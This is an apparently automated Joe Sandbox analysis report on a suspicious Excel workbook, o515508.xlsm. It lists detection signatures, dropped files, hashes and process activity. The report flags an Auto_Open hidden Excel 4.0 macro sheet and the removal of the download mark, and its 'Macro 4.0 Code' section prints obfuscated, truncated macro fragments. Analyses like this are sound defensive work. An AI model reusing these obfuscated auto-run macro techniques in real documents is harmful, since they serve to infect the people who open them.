Joe Sandbox Cloud Basic Analysis Report

Loading ...

Play interactive tourEdit tour

Analysis Report o515508.xlsm

Overview

General Information

Sample Name:o515508.xlsm
Analysis ID:384332
MD5:ccb137d9d5260eaa14873354292dd85c
SHA1:f15f61a2af9d73c8ea16e88e88f91c3012656be7
SHA256:8adb6f54e65e375e16f3cda377df2d2a89f6aac15385fab45354240e7f1a13bc
Infos:

Most interesting Screenshot:

Detection

Hidden Macro 4.0
Score:48
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Found abnormal large hidden Excel 4.0 Macro sheet
Hides that the sample has been downloaded from the Internet (zone.identifier)
Excel documents contains an embedded macro which executes code when the document is opened
Unable to load, office file is protected or invalid
Yara detected Xls With Macro 4.0

Classification

Startup

  • System is w7x64
  • EXCEL.EXE (PID: 1844 cmdline: 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding MD5: 5FB0A0F93382ECD19F5F499A5CAA59F0)
  • cleanup

Malware Configuration

No configs have been found

Yara Overview

Initial Sample

SourceRuleDescriptionAuthorStrings
app.xmlJoeSecurity_XlsWithMacro4Yara detected Xls With Macro 4.0Joe Security

    Sigma Overview

    No Sigma rule has matched

    Signature Overview

    Click to jump to signature section

    Show All Signature Results
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dllJump to behavior

    System Summary:

    barindex
    Found abnormal large hidden Excel 4.0 Macro sheetShow sources
    Source: o515508.xlsmInitial sample: Sheet size: 8016
    Source: workbook.xmlBinary string: <workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x15 xr xr6 xr10 xr2" xmlns:x15="http://schemas.microsoft.com/office/spreadsheetml/2010/11/main" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xmlns:xr10="http://schemas.microsoft.com/office/spreadsheetml/2016/revision10" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2"><fileVersion appName="xl" lastEdited="7" lowestEdited="7" rupBuild="23801"/><workbookPr filterPrivacy="1" defaultThemeVersion="166925"/><xr:revisionPtr revIDLastSave="0" documentId="8_{352EABCF-F53B-4811-9BF1-E2A1A0241E6F}" xr6:coauthVersionLast="46" xr6:coauthVersionMax="46" xr10:uidLastSave="{00000000-0000-0000-0000-000000000000}"/><bookViews><workbookView xWindow="3975" yWindow="3975" windowWidth="21600" windowHeight="11385" xr2:uid="{6D782313-7D19-4BED-B3F9-60DE8CF22CCA}"/></bookViews><sheets><sheet name="Sheet1" sheetId="1" r:id="rId1"/><sheet name="correction" sheetId="2" r:id="rId2"/></sheets><definedNames><definedName name="_xlnm.Auto_Open" localSheetId="1">correction!$A$50</definedName></definedNames><calcPr calcId="191029" refMode="R1C1"/><extLst><ext uri="{140A7094-0E35-4892-8432-C4D2E57EDEB5}" xmlns:x15="http://schemas.microsoft.com/office/spreadsheetml/2010/11/main"><x15:workbookPr chartTrackingRefBase="1"/></ext></extLst></workbook>
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEWindow title found: microsoft excel okthe workbook cannot be opened or repaired by microsoft excel because it's corrupt.
    Source: classification engineClassification label: mal48.evad.winXLSM@1/6@0/0
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile created: C:\Users\user\Desktop\~$o515508.xlsmJump to behavior
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile created: C:\Users\user\AppData\Local\Temp\CVRD143.tmpJump to behavior
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile read: C:\Users\desktop.iniJump to behavior
    Source: Window RecorderWindow detected: More than 3 window changes detected
    Source: o515508.xlsmInitial sample: OLE zip file path = xl/calcChain.xml
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEKey opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItemsJump to behavior
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dllJump to behavior

    Hooking and other Techniques for Hiding and Protection:

    barindex
    Hides that the sample has been downloaded from the Internet (zone.identifier)Show sources
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile opened: C:\Users\user\Desktop\o515508.xlsm:Zone.Identifier read attributes | deleteJump to behavior
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: Yara matchFile source: app.xml, type: SAMPLE

    Mitre Att&ck Matrix

    Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
    Valid AccountsScripting11Path InterceptionPath InterceptionMasquerading1OS Credential DumpingFile and Directory Discovery1Remote ServicesData from Local SystemExfiltration Over Other Network MediumData ObfuscationEavesdrop on Insecure Network CommunicationRemotely Track Device Without AuthorizationModify System Partition
    Default AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsScripting11LSASS MemorySystem Information Discovery1Remote Desktop ProtocolData from Removable MediaExfiltration Over BluetoothJunk DataExploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
    Domain AccountsAt (Linux)Logon Script (Windows)Logon Script (Windows)Hidden Files and Directories1Security Account ManagerQuery RegistrySMB/Windows Admin SharesData from Network Shared DriveAutomated ExfiltrationSteganographyExploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data

    Behavior Graph

    Hide Legend

    Legend:

    • Process
    • Signature
    • Created File
    • DNS/IP Info
    • Is Dropped
    • Is Windows Process
    • Number of created Registry Values
    • Number of created Files
    • Visual Basic
    • Delphi
    • Java
    • .Net C# or VB.NET
    • C, C++ or other language
    • Is malicious
    • Internet

    Screenshots

    Thumbnails

    This section contains all screenshots as thumbnails, including those not shown in the slideshow.

    windows-stand

    Antivirus, Machine Learning and Genetic Malware Detection

    Initial Sample

    No Antivirus matches

    Dropped Files

    No Antivirus matches

    Unpacked PE Files

    No Antivirus matches

    Domains

    No Antivirus matches

    URLs

    No Antivirus matches

    Domains and IPs

    Contacted Domains

    No contacted domains info

    Contacted IPs

    No contacted IP infos

    General Information

    Joe Sandbox Version:31.0.0 Emerald
    Analysis ID:384332
    Start date:08.04.2021
    Start time:22:32:49
    Joe Sandbox Product:CloudBasic
    Overall analysis duration:0h 4m 4s
    Hypervisor based Inspection enabled:false
    Report type:full
    Sample file name:o515508.xlsm
    Cookbook file name:defaultwindowsofficecookbook.jbs
    Analysis system description:Windows 7 x64 SP1 with Office 2010 SP2 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
    Number of analysed new started processes analysed:3
    Number of new started drivers analysed:0
    Number of existing processes analysed:0
    Number of existing drivers analysed:0
    Number of injected processes analysed:0
    Technologies:
    • EGA enabled
    • HDC enabled
    • AMSI enabled
    Analysis Mode:default
    Analysis stop reason:Timeout
    Detection:MAL
    Classification:mal48.evad.winXLSM@1/6@0/0
    Cookbook Comments:
    • Adjust boot time
    • Enable AMSI
    • Found application associated with file extension: .xlsm
    • Found Word or Excel or PowerPoint or XPS Viewer
    • Found warning dialog
    • Click Ok
    • Attach to Office via COM
    • Scroll down
    • Close Viewer
    Warnings:
    Show All
    • Exclude process from analysis (whitelisted): dllhost.exe

    Simulations

    Behavior and APIs

    No simulations

    Joe Sandbox View / Context

    IPs

    No context

    Domains

    No context

    ASN

    No context

    JA3 Fingerprints

    No context

    Dropped Files

    No context

    Created / dropped Files

    C:\Users\user\AppData\Local\Temp\97DE0000
    Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
    File Type:data
    Category:dropped
    Size (bytes):24473
    Entropy (8bit):7.632163314675518
    Encrypted:false
    SSDEEP:384:aezUYbGPTpYDBF/FFzlCI4RLRov7D5hvwNN4Q/dXNefGms/fdkVTRV+ypeP:aeXGPTpC/FFzlcVSv35WN6Q/7P//fYTs
    MD5:1DDA2C2F9A759A5DCA312B5368080B35
    SHA1:24896787AE02B8870FB9B0F494A5257232AD84AC
    SHA-256:2F31438F6E7DD8A88378B77212DB8FCF9C2CD378708B8A8AC487FAC6920A8BC3
    SHA-512:50BF7D7EC60CC3284DE5A1FB35EF8D4A209108F7F218D5648D74F6BAE5FFD77FFB4D716EE877E8C4993E91665EE3096AEFF459F0A074A0DA098F7F7B42608E3C
    Malicious:false
    Reputation:low
    Preview: ..Mn.0....z...*1tQU.............c[.C..;1?U+H..&Q....=3..N6.QY..~.c..i.e.9.....,. L!.5..- ..oo....L..`......(K..f.............K........0!......a!.:$..^..a.x.]..pN+)....S...v.P..+..Ig.<..K.P..yED..!P0d.$....T.UFcX*.w....Y9.j_.F..U..T..**..k.?._.]e."..0.Z..b......s..&.98l!.J........F.$.w.../5r..]..th.....F.. .....O.v...r\...2.....z.........T.......n;u..D.....M.h.S...6..p........PK..........!...B.....M.......[Content_Types].xml ...(......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................N.0...H.C...nH....LH.!T..$.....
    C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Desktop.LNK
    Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
    File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Read-Only, Directory, ctime=Tue Oct 17 10:04:00 2017, mtime=Fri Apr 9 04:33:40 2021, atime=Fri Apr 9 04:33:40 2021, length=8192, window=hide
    Category:dropped
    Size (bytes):867
    Entropy (8bit):4.462861254090878
    Encrypted:false
    SSDEEP:12:85QscLgXg/XAlCPCHaXtB8XzB/+PbX+WnicvbwbDtZ3YilMMEpxRljKlcTdJP9TK:854/XTd6joYegDv3qfrNru/
    MD5:10AA3AF5285AF245181C614859CB7142
    SHA1:1E7D9CB0B709EC9FCDD9F33DF15CF90F9DC620CF
    SHA-256:B0DC304406BE28D6F246129D64CCD5E3C0B3C85100BB7237FAA22E428A876F8B
    SHA-512:E26355437490C1FB14A70F762896B3A6A784D94105CC9CFD2306E6171554A6AE83FCB09EBF09FA70882F029540FDE44A2686D12CBDB1EA7823A3823407911FF8
    Malicious:false
    Reputation:low
    Preview: L..................F...........7G..C....-..C....-... ......................i....P.O. .:i.....+00.../C:\...................t.1.....QK.X..Users.`.......:..QK.X*...................6.....U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....L.1......Q.y..user.8......QK.X.Q.y*...&=....U...............A.l.b.u.s.....z.1......R5,..Desktop.d......QK.X.R5,*..._=..............:.....D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.......i...............-...8...[............?J......C:\Users\..#...................\\305090\Users.user\Desktop.......\.....\.....\.....\.....\.D.e.s.k.t.o.p.........:..,.LB.)...Ag...............1SPS.XF.L8C....&.m.m............-...S.-.1.-.5.-.2.1.-.9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6.............`.......X.......305090..........D_....3N...W...9r.[.*.......}EkD_....3N...W...9r.[.*.......}Ek....
    C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat
    Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
    File Type:ASCII text, with CRLF line terminators
    Category:dropped
    Size (bytes):76
    Entropy (8bit):4.254966697884004
    Encrypted:false
    SSDEEP:3:oyBVomxWBm4pulSQUFpulmxWBm4pulv:djyZu8ufZu1
    MD5:FB510C9B203982D49AD2B0714CDEC89A
    SHA1:B669C1E37D40B708CC3A99C70F99B4955CDB8C3F
    SHA-256:1EA30CE694370452701D4E3B8728022A27075AA4277F1ED8624E9FE1A96CBA79
    SHA-512:7E95C3FF4A7B0C7805E985A885AA8F51B2C6E44D6BB0D5C6BE3584590C382B2DC80196AA49B5457989B58C669C349EA74A9EE49D7F96D19D830477CED967D607
    Malicious:false
    Reputation:low
    Preview: Desktop.LNK=0..[misc]..o515508.LNK=0..o515508.LNK=0..[misc]..o515508.LNK=0..
    C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\o515508.LNK
    Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
    File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Aug 26 14:08:15 2020, mtime=Fri Apr 9 04:33:40 2021, atime=Fri Apr 9 04:33:40 2021, length=24476, window=hide
    Category:modified
    Size (bytes):2008
    Entropy (8bit):4.487571205516045
    Encrypted:false
    SSDEEP:24:8NEbU/XTd6jFykYV7kAe6qRDv3qfdM7dD2NEbU/XTd6jFykYV7kAe6qRDv3qfdMj:8Nf/XT0jFWtjtfQh2Nf/XT0jFWtjtfQ/
    MD5:A2A4A5DD80BD224DC56D6BB1FD4C0B17
    SHA1:859A310AE08BB8041311B27C7C05698F8997346F
    SHA-256:ACFDDD99CF0CD1E23480C7157CAF51BA062CCFD9FD1A4ED0111B9C2D4E82183A
    SHA-512:DEA8592D689FAB169824BA4492106A65F7BFB6004DA5128C77062E68368EF8A4A47D9C32CE109733137D8910271AF1841D030F7F4900B38189D3C27412310B53
    Malicious:false
    Reputation:low
    Preview: L..................F.... ...-....{..C....-.......-..._...........................P.O. .:i.....+00.../C:\...................t.1.....QK.X..Users.`.......:..QK.X*...................6.....U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....L.1......Q.y..user.8......QK.X.Q.y*...&=....U...............A.l.b.u.s.....z.1......Q.y..Desktop.d......QK.X.Q.y*..._=..............:.....D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.....b.2..^...R1, .O51550~1.XLS..F.......Q.y.Q.y*...8.....................o.5.1.5.5.0.8...x.l.s.m.......v...............-...8...[............?J......C:\Users\..#...................\\305090\Users.user\Desktop\o515508.xlsm.#.....\.....\.....\.....\.....\.D.e.s.k.t.o.p.\.o.5.1.5.5.0.8...x.l.s.m.........:..,.LB.)...Ag...............1SPS.XF.L8C....&.m.m............-...S.-.1.-.5.-.2.1.-.9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6.............`.......X.......305090..........D_....3N...W...9F.C...........[D_....3N...W...9F.C...........[
    C:\Users\user\Desktop\78DE0000
    Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
    File Type:data
    Category:dropped
    Size (bytes):24476
    Entropy (8bit):7.632100144810098
    Encrypted:false
    SSDEEP:384:aezUYbGPTpYDBF/FFzlCI4RLRov7D5hvwNN4Q/dXNefGms/fdkVTRV+ype7:aeXGPTpC/FFzlcVSv35WN6Q/7P//fYTK
    MD5:CD81C714877C8967E68D718A2A761EFD
    SHA1:72E7B730DFA1A14E5D4612FFCDAFFBABAFEBDF4C
    SHA-256:AFC6F7B974CD130E65579525D1C8697FE09748012917366B2BF265AC880FB1FC
    SHA-512:CD9D993D544B11EFBBCEA5EE955AAB696C066FE27A5803FE827C13F5C69A175798EF4435E7617F675FD2C9F254F17CBD231894F1E5820E65203D17A00410A745
    Malicious:false
    Reputation:low
    Preview: ..Mn.0....z...*1tQU.............c[.C..;1?U+H..&Q....=3..N6.QY..~.c..i.e.9.....,. L!.5..- ..oo....L..`......(K..f.............K........0!......a!.:$..^..a.x.]..pN+)....S...v.P..+..Ig.<..K.P..yED..!P0d.$....T.UFcX*.w....Y9.j_.F..U..T..**..k.?._.]e."..0.Z..b......s..&.98l!.J........F.$.w.../5r..]..th.....F.. .....O.v...r\...2.....z.........T.......n;u..D.....M.h.S...6..p........PK..........!...B.....M.......[Content_Types].xml ...(......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................N.0...H.C...nH....LH.!T..$.....
    C:\Users\user\Desktop\~$o515508.xlsm
    Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
    File Type:data
    Category:dropped
    Size (bytes):330
    Entropy (8bit):1.4377382811115937
    Encrypted:false
    SSDEEP:3:vZ/FFDJw2fj/FFDJw2fV:vBFFGaFFGS
    MD5:96114D75E30EBD26B572C1FC83D1D02E
    SHA1:A44EEBDA5EB09862AC46346227F06F8CFAF19407
    SHA-256:0C6F8CF0E504C17073E4C614C8A7063F194E335D840611EEFA9E29C7CED1A523
    SHA-512:52D33C36DF2A91E63A9B1949FDC5D69E6A3610CD3855A2E3FC25017BF0A12717FC15EB8AC6113DC7D69C06AD4A83FAF0F021AD7C8D30600AA8168348BD0FA9E0
    Malicious:true
    Reputation:high, very likely benign file
    Preview: .user ..A.l.b.u.s. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..user ..A.l.b.u.s. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

    Static File Info

    General

    File type:Microsoft Excel 2007+
    Entropy (8bit):7.640847545115753
    TrID:
    • Excel Microsoft Office Open XML Format document (40004/1) 83.33%
    • ZIP compressed archive (8000/1) 16.67%
    File name:o515508.xlsm
    File size:24313
    MD5:ccb137d9d5260eaa14873354292dd85c
    SHA1:f15f61a2af9d73c8ea16e88e88f91c3012656be7
    SHA256:8adb6f54e65e375e16f3cda377df2d2a89f6aac15385fab45354240e7f1a13bc
    SHA512:cdd975bb5f9b9aaaf9a91a32a5f36cfdbac145c2db2d2cc9bf9b9b1f4bcd80dcf23c2872ad49be9a4df91e0bb499c4ea74a3a1eaaff2f33272d4be6c0cb61313
    SSDEEP:384:6qKzqwNQG8QDZ3gMEHW0rgU/FAi06EYfqL/fUlM9zNpOC:10QG3DZ3LaWOgN62/fxxpOC
    File Content Preview:PK..........!...B.....M.......[Content_Types].xml ...(.........................................................................................................................................................................................................

    File Icon

    Icon Hash:e4e2aa8aa4bcbcac

    Static OLE Info

    General

    Document Type:OpenXML
    Number of OLE Files:1

    OLE File "o515508.xlsm"

    Indicators

    Has Summary Info:
    Application Name:
    Encrypted Document:
    Contains Word Document Stream:
    Contains Workbook/Book Stream:
    Contains PowerPoint Document Stream:
    Contains Visio Document Stream:
    Contains ObjectPool Stream:
    Flash Objects Count:
    Contains VBA Macros:

    Macro 4.0 Code

    0,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,fzBooSBqIP=A49,,-66,"=""=CAL""","=""=O""","=""=HA""","=""live""","=""lev""","=""au""","=""=W""","=""ama""","=""lev""","=""suit""","=""=WHI""","=""ama""","=""=IND""","=""=IF(""","=""am""","=""=E""","=""ele""","=""de""","=""li""","=""su""","=""=END""","=""=NE""","=""=FOR""","=""=NE""","=""=RE""","=""org""","=""in""","=""tr""","=""nort""","=""fi""","=""cou""","=""=org""",,-651,"=""CJNYf""","=""Z5rcS""","=""TOkB8E""","=""e5EpgVe""","=""MrMKGuqkKc""","=""Zi7Ocfi""","=""OLZX54ai""","=""Fe4StaE""","=""U8wvcCMai""","=""W7iIcA0p""","=""eV3lV7""","=""PQmf8n""","=""Yd7CCP""","=""BJHDBf9Hs""","=""RbW8BrSc9""","=""htuXWsV""","=""BSm1h6nR6y""","=""h0uZhNsz""","=""dUarY0""","=""yBx0wM""","=""iJ1jxWs""","=""H9gTW""","=""WHPBau""","=""XZgObOVD""","=""F9sy8H3h""","=""Uem6tIJ""","=""KZjIUzWa""","=""XhwHa""","=""cvt3gS5""","=""GVSasZUms4""","=""gREtR4""","=""bonrBkZ0d"""=WHILE(AND(fzBooSBqIP<32)),,728,"=""L(""""X""","=""N.""","=""LT(""","=""st""","=""it""","=""stri""","=""HI""","=""nd""","=""it""","=""ab""","=""LE""","=""nd""","=""IR""","=""R89C""","=""anda""","=""LSE(""","=""ctri""","=""si""","=""vest""","=""ita""","="".I""","=""XT()""","=""MUL""","=""XT""","=""TU""","=""ani""","=""tran""","=""eat=""","=""he""","=""re""","=""nte""","=""an"""NcqZSUljpjC=-2,,-855,"=""yTYy419""","=""cxkIBe""","=""GDFQv""","=""hio5z""","=""oZTJ1""","=""KvY41aE7V""","=""EHUnr3jI""","=""c7V9bMc""","=""XugndE""","=""TY9W2WG""","=""V11jEuoo""","=""TzieLlRIPB""","=""ISNUxJLqQ""","=""T8ieu2gsB""","=""gFuqGr""","=""lHWgunlCDD""","=""C7yXzVo9DQ""","=""UsCbBUqPY""","=""y7L2W5OY""","=""jecLEqd""","=""dybzMr""","=""tsMf74""","=""ndk1vWD""","=""qDKQ9oVQ""","=""iXxYsQ9""","=""X944FW3""","=""yq8xBRQ""","=""q2FwM""","=""PLvXwTm""","=""XbR980""","=""IxgAkMELq""","=""mi76He""",,64,"=""lcal""","=""TIME""","="")""","=""ock""","=""ra=0""","=""a=""","=""LE(""","=""a=""","=""ra""","=""le=""","=""(am""","=""a=a""","=""ECT""","=""1>""","=""=500""","="")""","=""ci""","=""gns=""","=""ock=""","=""ble""","=""F()""","=""qsbwbsKxgVuZy""","=""A(""","=""()""","=""RN""","=""za""","=""et=5""","=""1""","=""rn=R""","=""wal""","=""r=R""","=""iza"""fzBooSBqIP=fzBooSBqIP+1,,-63,"=""vvuH9YqrPg""","=""YMJqjLKi""","=""S1RMBAz""","=""J4RegXqT7""","=""u3P0WEn""","=""xjFA1H""","=""sMbPgZF8""","=""RjBRW""","=""JFm4xK""","=""iiKbNfx6""","=""HgIlvL""","=""c4lNPXaarj""","=""yPokB""","=""n0Oh5""","=""Bhjar""","=""hxSL9Jx""","=""Z9liu""","=""kH091""","=""Qx2awGLgn""","=""vXBbg""","=""kP8sdJOQp2""",,"=""CNzpU""","=""j3XAof""","=""P1hvRrI""","=""RbPRJH""","=""tvMHpzzWtj""","=""VOrskgqTY""","=""rTRCv7b""","=""SJxo77P""","=""wutXm8kK""","=""aqkBfhw""",,691,"=""l3""","=""(N""","=""qsbwbsKxgVuZy""","=""=0""","=""qsbwbsKxgVuZy""","=""RO""","=""lev""","=""-1""","=""=le""","=""""""""""""","=""and""","=""man""","=""(A""","=""100""","=""qsbwbsKxgVuZy""","=""qsbwbsKxgVuZy""","=""ty=M""","=""INDE""","=""live""","=""=sui""","=""qsbwbsKxgVuZy""",,"=""sui""","=""qsbwbsKxgVuZy""","=""()""","=""tio""","=""0""","=""qsbwbsKxgVuZy""","=""50""","=""l=""","=""109""","=""tion""""zoyyxSVtpqE=""""",,444,"=""NK7mIwA""","=""QeVI4""",,"=""nrQj0n""",,"=""peY239""","=""krNAkSzO""","=""hvqtv""","=""qFD9e""","=""DELBvlW6""","=""WqKB1FT4""","=""iVXrm""","=""dZ8cZqYP""","=""uBhE85BK""",,,"=""VFvxUKocRL""","=""SVJv3N8t""","=""KaMTdZd""","=""pbo3d8TatL""",,,"=""w6Jm2mNB""",,"=""KYrt62M3P""","=""xnbEG""","=""oKHTxuDKD""",,"=""PrlFx6gJ""","=""q9ya4KW2""","=""k3oFNFu6""","=""LRktfNOR"""=WHILE(NcqZSUljpjC<267),,778,"=""2"""",""","=""OW()""",,"=""qsbwbsKxgVuZy""",,"=""WS(n""","=""itr""","=""qsbwbsKxgVuZy""","=""vitr""","=""qsbwbsKxgVuZy""","=""a<50""","=""da+1""","=""DD""","=""0)""",,,"=""OD(l""","=""X(n""","=""st""","=""tabl""",,,"=""tab""",,"=""qsbwbsKxgVuZy""","=""nal""","=""qsbwbsKxgVuZy""",,"=""C3""","=""17""","=""C1""","=""al()""""=SUM(375,127)",,-890,"=""l7SmJSZ""","=""gSQRs""",,,,"=""vrzcvkM6QW""","=""vODpCWHoj""",,"=""A6LP3""",,"=""f8OEka3""","=""hRUeNVPyL""","=""p1hn6""","=""lyX06XsBks""",,,"=""MbPTd""","=""OWupZtL3i""","=""JEuFPs""","=""ACYtBf4P4x""",,,"=""HDtRF""",,,"=""ZiOdqY""",,,"=""bOUeo2R""","=""GweZ

    Network Behavior

    No network behavior found

    Code Manipulations

    Statistics

    CPU Usage

    Click to jump to process

    Memory Usage

    Click to jump to process

    High Level Behavior Distribution

    Click to dive into process behavior distribution

    System Behavior

    Analysis Process: EXCEL.EXE PID: 1844 Parent PID: 584

    General

    Start time:22:33:38
    Start date:08/04/2021
    Path:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
    Wow64 process (32bit):false
    Commandline:'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
    Imagebase:0x13f200000
    File size:27641504 bytes
    MD5 hash:5FB0A0F93382ECD19F5F499A5CAA59F0
    Has elevated privileges:true
    Has administrator privileges:true
    Programmed in:C, C++ or other language
    Reputation:high

    Chronological Activities

    Disassembly

    Reset < >